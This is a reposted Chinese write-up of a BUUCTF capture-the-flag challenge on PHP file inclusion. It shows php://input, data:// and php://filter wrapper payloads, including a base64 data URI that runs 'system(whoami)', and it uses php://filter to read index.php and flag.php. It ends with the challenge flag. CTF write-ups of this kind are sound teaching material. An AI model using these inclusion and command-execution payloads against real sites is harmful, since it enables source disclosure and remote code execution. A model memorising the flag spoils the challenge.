[ACTF2020 新生赛]Include1
短信预约 -IT技能 免费直播动态提醒
题目:[ACTF2020 新生赛]Include1
题目来源:buuctf
过程分析:
1、首先看到一个tips,我们打开看看
然后从题目我们知道这个是一个文件包含题,对文件进行php伪协议检测
伪协议
php://input:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。条件: php <5.0 ,allow_url_include=Off 情况下也可以用 php > 5.0,只有在allow_url_fopen=On 时才能使用例: http://localhost/include/file.php?file=php://input //URL ")?> //POST,创建一个文件a.php;并写入phpinfodata://:将原本的include的文件流重定向到了用户可控制的输入流中条件: allow_url_include=On php > 5.2例: http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg== //base64加密<?php system(whoami);?>;直接执行命令 http://localhost/image.php?imagedata=data://image/jpeg;base64,..... // 后面加上图片木马;图片命令执行php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过例: http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword //可以跟绝对路径也可以跟相对路径 http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt //远程路径防御: 尽量使用安全版本的php 做好php的安全配置 对相应目录做相应权限设置
使用input伪协议会被检车会被过滤,我们换一种filter读取源代码
?file=php://filter/read=convert.base64-encode/resource=index.php
用工具将伪代码解码就得到文件源码了
tips';}?>
input伪协议是被过滤了,我们再用filter伪协议去读取flag.php文件
?file=php://filter?read=convert.base64-encode/resource=flag.php
再用base64工具解码就得到flag了
flag{eba8550a-7871-47ae-b101-232fdb610777}
来源地址:https://blog.csdn.net/weixin_64160292/article/details/123865805
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341